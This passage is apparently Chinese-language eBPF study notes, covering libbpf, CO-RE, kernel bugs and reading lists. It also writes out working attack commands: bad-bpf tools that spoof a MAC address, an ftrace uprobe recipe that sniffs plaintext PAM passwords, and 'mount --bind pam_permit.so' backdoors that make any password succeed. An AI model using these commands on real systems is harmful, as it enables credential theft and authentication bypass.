cd /home/scz/src/bad-bpf-scz/src/bin
./writeblocker -p $(pidof vi)
./textreplace -f /proc/modules -i 'e1000' -r 'NSFOC'
./textreplace -f /sys/class/net/ens33/address \ -i $(cat /sys/class/net/ens33/address) \ -r '00:00:00:00:00:00'
只能骗"cat /sys/class/net/ens33/address",骗不了"ifconfig ens33"
7) libbpf (eBPF loader)
libbpf号称要替换BCC,遍历
https://github.com/libbpf/libbpf
https://github.com/iovisor/bcc/tree/master/libbpf-tools
LIBBPF API https://libbpf.readthedocs.io/en/latest/api.html
BPF Portability and CO-RE - Andrii Nakryiko [2020-02-19] https://facebookmicrosites.github.io/bpf/blog/2020/02/19/bpf-portability-and-co-re.html https://nakryiko.com/posts/bpf-portability-and-co-re/
BCC to libbpf conversion guide - Andrii Nakryiko [2020-02-20] https://facebookmicrosites.github.io/bpf/blog/2020/02/20/bcc-to-libbpf-howto-guide.html https://nakryiko.com/posts/bcc-to-libbpf-howto-guide/ (作者认为libbpf相比BCC更有优势)
BPF CO-RE reference guide - Andrii Nakryiko [2021-10-24] https://nakryiko.com/posts/bpf-core-reference-guide/ (fentry/fexit/fmod_ret/tp_btf都是"BTF-enabled"的)
Building BPF applications with libbpf-bootstrap - Andrii Nakryiko [2020-11-29] https://nakryiko.com/posts/libbpf-bootstrap/ https://github.com/libbpf/libbpf-bootstrap (不只是bootstrap.bpf.c,包含多个libbfp编程示例)
https://github.com/torvalds/linux/blob/master/tools/testing/selftests/bpf/progs/test_attach_probe.c (有演示BPF_KSYSCALL的用法)
Journey to libbpf 1.0 - Andrii Nakryiko [2022-08-22] https://nakryiko.com/posts/libbpf-v1/
Libbpf: the road to v1.0 https://github.com/libbpf/libbpf/wiki/Libbpf:-the-road-to-v1.0
Tips and Tricks for Writing Linux BPF Applications with libbpf - Wenbo Zhang [2020-12-14] https://www.pingcap.com/blog/tips-and-tricks-for-writing-linux-bpf-applications-with-libbpf/ (提到__uint(map_flags, BPF_F_NO_PREALLOC)) (提到bpf_map__resize,动态调整map大小)
https://github.com/iovisor/bcc/blob/master/libbpf-tools/readahead.c (演示bpf_program__set_attach_target,主要用途是兼容性)
7.1) arg0 type FWD is not a struct
这是内核BUG,Kernel 5.15.78已修复此BUG
"invalid bpf_context access" when trying to read regs
parameter - [2022-07-01]
https://stackoverflow.com/questions/72824924/invalid-bpf-context-access-when-trying-to-read-regs-parameter
https://github.com/harai/invalidbpfcontext
https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.15.78
(This issue has been fixed in Linux 5.15.78)
(搜"With just the forward declaration")
7.2) connect_block.bpf.c
练习题,将bpftrace版的connect_block.bt翻译成libbpf版
7.2.1) bpf_strncmp
参看
introduce bpf_strncmp() helper - [2021-11-30] https://lore.kernel.org/bpf/[email protected]/T/
https://stackoverflow.com/questions/73430502/ebpf-unknown-opcode-comparing-strings https://stackoverflow.com/questions/60383861/failure-to-compare-strings-with-ebpf
在eBPF代码中进行字符串比较一直不尽人意,这与eBPF的校验器有关,安全稳定是 eBPF的首要原则。libbpf 0.5.0没有bpf_strncmp,用git拉最新版libbpf,自编译之, 支持bpf_strncmp;但Kernel 5.15.0-52不支持bpf_strncmp。
内核支持的bpf-helpers(7)函数可在/proc/kallsyms中找到,比如
$ grep -w bpf_get_current_comm /proc/kallsyms ffffffffa3e61de0 T bpf_get_current_comm
$ grep -w bpf_strncmp /proc/kallsyms (无输出)
内核支持的bpf-helpers(7)函数在vmlinux.h中有相应的枚举值
enum bpf_func_id { ... BPF_FUNC_get_current_pid_tgid = 14, BPF_FUNC_get_current_uid_gid = 15, BPF_FUNC_get_current_comm = 16, ... };
$ grep BPF_FUNC_strncmp vmlinux.h (无输出)
7.3) pamsnoop.bpf.c
练习题,将bpftrace版的pamsnoop.bt翻译成libbpf版
7.4) 基于eBPF的后门口令
7.4.2) _unix_verify_password
pam_unix!_unix_verify_password函数原型如下
/ * \pam-1.4.0\modules\pam_unix\support.c / int _unix_verify_password ( pam_handle_t pamh, // rdi / * user / const char name, // rsi / * pass / const char *p, // rdx unsigned long long ctrl // rcx )
形参name即user,形参p即输入的明文pass,但_unix_verify_password未被导出,导 出了pam_sm_authenticate。
pam_sm_authenticate // 导出符号 pam_get_user // 取user pam_get_authtok // 取pass _unix_verify_password // 检查user/pass verify_pwd_hash // 编译时被inline展开了
7.4.4) 用stap查看相关函数调用栈回溯
stap -d /usr/bin/su \ -d /usr/sbin/sshd \ -d /usr/lib/x86_64-linux-gnu/security/pam_unix.so --ldd \ -e 'probe process("/lib/x86_64-linux-gnu/libpam.so.0").function("pam_get_authtok") { print_ubacktrace();println()}'
stap -d /usr/bin/su \ -d /usr/sbin/sshd \ -d /usr/lib/x86_64-linux-gnu/security/pam_unix.so --ldd \ -e 'probe process("/usr/lib/x86_64-linux-gnu/security/pam_unix.so").function("_unix_verify_password") { print_ubacktrace();println()}'
参看stapprobes(3stap),stap支持拦截16进制地址,而不是拦截符号。实测发现不 是所有地址都可拦截,看上去stap的反汇编引擎、符号解析引擎有BUG。再就是,好 像目标ELF必须有符号信息才行,即使指定16进制地址,相比之下eBPF、ftrace没有 这种限制。
7.4.5) verify_pwd_hash
参看
https://github.com/linux-pam/linux-pam/blob/master/modules/pam_unix/passverify.c
有个verify_pwd_hash函数,_unix_verify_password会调verify_pwd_hash,但后者 被inline展开了,pam_unix.dbg没有verify_pwd_hash这个符号,只能用逆向工程的 套路定位被inline展开的verify_pwd_hash。
7.4.6) pamtamper.bpf.c
参看
基于eBPF的SSH后门 - treebacker [2021-11-29] https://xz.aliyun.com/t/10564
练习题,用libbpf实现该作者的思路。
7.4.7) 用ftrace/uprobe_events嗅探明文口令
用eBPF嗅探SSH登录或者su的明文口令,都需要编程,需要第三方工具。可用OS自带 的ftrace/uprobe_events达成同一目的,但ftrace只能嗅探明文口令,没法修改hash。
对于bpftrace或libbpf编程,可用uprobe+uretprobe对付out型参数;对于利用shell 命令进行文件操作的ftrace,并不便于uprobe+uretprobe,此处不考虑C编程或shell script操作ftrace。
可在pam_get_authtok函数返回后利用rdi寄存器残像,其等于pamh,进而获取 pamh->user、pamh->authtok。利用寄存器残像属于Hacking,有人对寄存器残像不理 解,rdi、rsi、rdx、rcx对应前4个形参,这些都属于易失性寄存器,进入函数后不 会在prologue阶段压栈保存,离开函数前不会在epilogue阶段弹栈恢复。有人在 pam_get_authtok函数返回后同时利用rdi、rdx寄存器残像,理解其原理时无妨,切 不可误以为pam_get_authtok第1、3形参在uretprobe处未变,rdi只是碰巧恢复了, rdx则完全不等于原第3形参authtok,rdx实际等于pamh->authtok。
下面的ftrace利用寄存器残像嗅探user、pass
cd /sys/kernel/tracing echo > trace echo 'r:some_event /lib/x86_64-linux-gnu/libpam.so.0:0x88b0 comm=$comm user=+0(+0x30(%di)):string pass=+0(+0(%di)):string' > uprobe_events cat events/uprobes/some_event/format echo 1 > events/uprobes/some_event/enable echo 1 > tracing_on cat /sys/kernel/tracing/trace_pipe ... echo 0 > tracing_on echo 0 > events/uprobes/some_event/enable echo '-:some_event' >> uprobe_events
用ftrace嗅探明文口令意义有限,毕竟只有root才能ftrace。
7.4.8) 基于pam_permit.so的后门
参看
Linux Pam后门总结拓展 - [2020-06-22] https://xz.aliyun.com/t/7902
学到一些歪招
mount --bind /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_unix.so umount /lib/x86_64-linux-gnu/security/pam_unix.so
第一条mount命令使得将来试图加载pam_unix.so时实际加载pam_permit.so,效果是 任意口令均能认证成功,可用SSH登录及su测试之。过去我不知道"mount --bind"还 能操作单个文件,此次专门看了一眼man手册,确实有一句
One can also remount a single file (on a single file)
参看
/etc/pam.d/common-auth
认证失败时会用pam_deny.so,同样可以用mount屏蔽之
mount --bind /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_deny.so umount /lib/x86_64-linux-gnu/security/pam_deny.so
7.5) ttysnoop.bpf.c
练习题,将BCC版的ttysnoop.py翻译成libbpf版
8) libbpf-bootstrap
8.1) 编译
参看
《GIT与GFW》 https://scz.617.cn/unix/202211231303.txt
8.2) eBPF代码兼容性
参看
BPF Portability and CO-RE - Andrii Nakryiko [2020-02-19] https://nakryiko.com/posts/bpf-portability-and-co-re/
BPF CO-RE reference guide - Andrii Nakryiko [2021-10-24] https://nakryiko.com/posts/bpf-core-reference-guide/
内核支持BTF时,可以不依赖bpf_probe_read()而用C语法读取内核态内存,搜 "field offset relocation"。
利用bpftool生成vmlinux.h,可以代替所有的内核头文件,其中甚至包含从未导出的 内部数据结构;但它不包含#define定义的宏,有时必须在some.bpf.c中自定义宏。
BCC可以写"pid_t pid = task->pid",是因为BCC会将之替换成bpf_probe_read()。 即使没有BCC的魔法替换机制,若eBPF代码是BTF_PROG_TYPE_TRACING型,eBPF引擎借 助BTF可以理解C语法,可以直接写"task->pid"。兼容性更好的写法是 "BPF_CORE_READ(task, pid)"。
BPF_CORE_READ_BITFIELD只能用于"BTF-enabled"的eBPF代码,比如fentry、fexit、 fmod_ret、tp_btf等。
9) 其他文献
前面说"遍历"的,就是要一个字一个字看过去的,有些我反复看过,第二遍看比第一 遍看领会更多。后面是一些其他相关文献,时间允许时,建议也遍历之。
BPF Documentation https://docs.kernel.org/bpf/
Linux Extended BPF (eBPF) Tracing Tools https://www.brendangregg.com/ebpf.html
Linux Tracing Workshops Materials https://github.com/goldshtn/linux-tracing-workshop
Comparing SystemTap and bpftrace - Emanuele Rocca [2021-04-13] https://lwn.net/Articles/852112/
bpf: whitelist all syscalls for error injection - [2018-03-21] https://lore.kernel.org/lkml/[email protected]/
Full-system dynamic tracing on Linux using eBPF and bpftrace - Hongli Lai [2019-01-31] https://www.joyfulbikeshedding.com/blog/2019-01-31-full-system-dynamic-tracing-on-linux-using-ebpf-and-bpftrace.html (有些内容已经过时,但基本框架适用)
Kernel journey with bpftrace - [2020-05-31] https://www.dlee-libo.tk/2020/05/31/bpftrace-kernel-journey/
How an Obscure ARM64 Link Option Broke Our BPF Probe - [2022-08-31] https://rhysre.net/how-an-obscure-arm64-link-option-broke-our-bpf-probe.html (bpftool btf dump file /sys/kernel/btf/vmlinux format raw | grep tty_write)
Intercepting Zoom's encrypted data with BPF - alessandro.d@gmail.com [2020-10-12] https://confused.ai/posts/intercepting-zoom-tls-encryption-bpf-uprobes
Tracee: Runtime Security and Forensics using eBPF https://github.com/aquasecurity/tracee/ https://aquasecurity.github.io/tracee/dev/
System call hooking example arguments are incorrect - [2020-01-22] https://stackoverflow.com/questions/59851520/system-call-hooking-example-arguments-are-incorrect
use struct pt_regs based syscall calling for x86-64 - Dominik Brodowski [2018-03-30] https://lwn.net/Articles/750536/
bpf: hash map pre-alloc - Alexei Starovoitov ast@fb.com [2016-03-06] https://lwn.net/Articles/679074/
eBPF IDA Proc https://github.com/cylance/eBPF_processor (可以利用IDA的图形化模式)
定制bcc/ebpf在android平台上实现基于dwarf的用户态栈回溯 - 飞翔的猫咪 [2022-09-27] https://bbs.pediy.com/thread-274546.htm
Linux内核监控在Android攻防中的应用 - evilpan [2022-01-03] https://evilpan.com/2022/01/03/kernel-tracing/ https://bbs.pediy.com/thread-271043.htm
10) eBPF入门小结
我将eBPF视作调试工具,对直方图之类的统计功能毫无兴趣,前面是我推荐的学习路 线。从实践角度看,eBPF涉及bpftrace、BCC Python Bindings、libbpf编程。底层 ftrace值得了解一下。若有DTrace、SystemTap经验,学习eBPF会省些事,没有也无 所谓。简而言之,依次学习bpftrace、BCC、libbpf。可以预设一些具体小目标,实 践之。
最初我对libbpf不感冒,后来发现,libbpf最具实用性,尤其当你的eBPF代码需要在 陌生环境中运行时。不像bpftrace、BCC需要一大堆依赖,特别重型,静态链接 libbpf的ELF可以随身携带。对于ttysnoop、pamsnoop、pamtamper这类功能来说,显 然libbpf化才有实战意义。